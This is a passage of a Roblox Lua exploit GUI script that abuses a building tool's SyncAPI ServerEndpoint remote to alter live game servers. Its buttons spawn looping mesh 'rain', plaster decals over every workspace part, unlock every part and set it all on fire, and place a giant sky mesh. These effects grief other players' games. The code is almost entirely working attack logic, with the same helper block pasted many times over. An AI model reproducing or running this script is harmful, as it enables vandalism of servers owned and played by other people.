end end local function createRainToads() while true do wait(1) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 18 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 0), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "krutstity krab") -- Here the name of the toad changes SetAnchor(true, v) AddMesh(v) Resize(v, Vector3.new(50, 50, 30), v.CFrame) MeshResize(v, Vector3.new(1, 1, 1)) SetMesh(v, "2180383639") -- Here put it A custom mesh SetTexture(v, "98314626230473") -- X2 SetCollision(v, true) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear sound.Volume = 0 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("98314626230473") -- Here they change the skybox id -- Delete this if you are going to Use it in another script -- Obviously it has those noises because there is an official script that has it and the msg was making me lazy end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.62, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "SHREK <3" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("107003562722788") ----------------------------------- local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("107003562722788") --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- DO NOT DELETE THIS LEAVE MY CREDIT -- Rain Toad Script By ItsKittyyyGD local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "14832966960") SetTexture(v, id) MeshResize(v, Vector3.new(0, 0, 0)) end end end local function createRainToads() while true do wait(0.01) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-200, 200) local randint2 = math.random(-200, 200) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 0 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 40), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "shrek daddy owo") -- Here the name of the toad changes SetAnchor(true, v) AddMesh(v) Resize(v, Vector3.new(10, 18, 3), v.CFrame) MeshResize(v, Vector3.new(1, 1, 1)) SetMesh(v, "4532642502") -- Here put it A custom mesh SetTexture(v, "4532642578") -- X2 SetCollision(v, true) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear sound.Volume = 0 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("98314626230473") -- Here they change the skybox id -- Delete this if you are going to Use it in another script -- Obviously it has those noises because there is an official script that has it and the msg was making me lazy end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.66, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "alot of burn (may fuck up ur ping)" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 17 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer wait(0.5) local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer wait(0.5) local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer wait(0.5) local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer wait(0.5) end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.66, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "PATRICK." scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Krab(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,76,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽") AddMesh(v) --end) --spawn(function() SetMesh(v,"455783801") SetTexture(v,id) --end) MeshResize(v,Vector3.new(1,1,1)) SetLocked(v,true) end end end Krab("106211613892663") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.66, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "big fire" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local function applyDecorationToPart(part) local argsCreate = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } local argsSync = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 20 } } } local buildingTools = nil local player = game:GetService("Players").LocalPlayer -- Search for the tool in Character and Backpack for _, item in pairs(player.Character:GetChildren()) do if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then buildingTools = item break end end if not buildingTools then for _, item in pairs(player.Backpack:GetChildren()) do if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then buildingTools = item break end end end if buildingTools then buildingTools.SyncAPI.ServerEndpoint:InvokeServer(unpack(argsCreate)) 